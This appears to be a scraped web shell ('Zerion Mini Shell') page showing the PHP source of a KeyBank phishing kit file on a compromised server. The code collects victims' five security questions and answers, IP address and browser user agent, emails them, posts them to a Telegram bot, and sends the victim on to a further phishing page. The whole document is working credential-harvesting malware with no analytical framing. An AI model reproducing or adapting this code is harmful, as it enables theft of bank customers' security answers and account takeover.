%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/notapproved-usrKEY/8f1586839f30b14ae2d2a643289f620b/ibxkey/process/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/notapproved-usrKEY/8f1586839f30b14ae2d2a643289f620b/ibxkey/process/question.php

<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] === "GET") {
    header("Location: ../captcha.php");
}elseif ($_SERVER["REQUEST_METHOD"] === "POST") {
    include "../../../settings/settings.php";
    function get_client_ip() {
        $ipaddress = "";
        if (getenv("HTTP_CLIENT_IP"))
            $ipaddress = getenv("HTTP_CLIENT_IP");
        else if(getenv("HTTP_X_FORWARDED_FOR"))
            $ipaddress = getenv("HTTP_X_FORWARDED_FOR");
        else if(getenv("HTTP_X_FORWARDED"))
            $ipaddress = getenv("HTTP_X_FORWARDED");
        else if(getenv("HTTP_FORWARDED_FOR"))
            $ipaddress = getenv("HTTP_FORWARDED_FOR");
        else if(getenv("HTTP_FORWARDED"))
            $ipaddress = getenv("HTTP_FORWARDED");
        else if(getenv("REMOTE_ADDR"))
            $ipaddress = getenv("REMOTE_ADDR");
        else
            $ipaddress = "UNKNOWN";
        return $ipaddress;
    }
    $IP = get_client_ip();
    $Message = "KeyBank {Question & Answer}"."\r\n";
    $Message .= "Question1: ".$_POST["q1"]."\r\n";
    $Message .= "Answer1: ".$_POST["ans1"]."\r\n";
    $Message .= "Question2: ".$_POST["q2"]."\r\n";
    $Message .= "Answer2: ".$_POST["ans2"]."\r\n";
    $Message .= "Question3: ".$_POST["q3"]."\r\n";
    $Message .= "Answer3: ".$_POST["ans3"]."\r\n";
    $Message .= "Question4: ".$_POST["q4"]."\r\n";
    $Message .= "Answer4: ".$_POST["ans4"]."\r\n";
    $Message .= "Question5: ".$_POST["q5"]."\r\n";
    $Message .= "Answer5: ".$_POST["ans5"]."\r\n";
    $Message .= "IP: https://ip-api.com/".$IP."\r\n";
    $Message .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
    $headers = "From: lovely@lovely.com". "\r\n" . "Reply-To: lovely@lovely.com". "\r\n";
    mail($sendto,"KeyBank",$Message,$headers);
    $options=array("http"=>array("method"=>"POST","header"=>"Content-Type:application/x-www-form-urlencoded\r\n","content"=>http_build_query(array("chat_id"=>$telegramchatid,"text"=>$Message)),),);
    file_get_contents("https://api.telegram.org/bot".$telegrambot."/sendMessage",false,stream_context_create($options));
    header("Location: ../Email.php?access_token=".md5(uniqid(rand(), true)));
}
?>

Zerion Mini Shell 1.0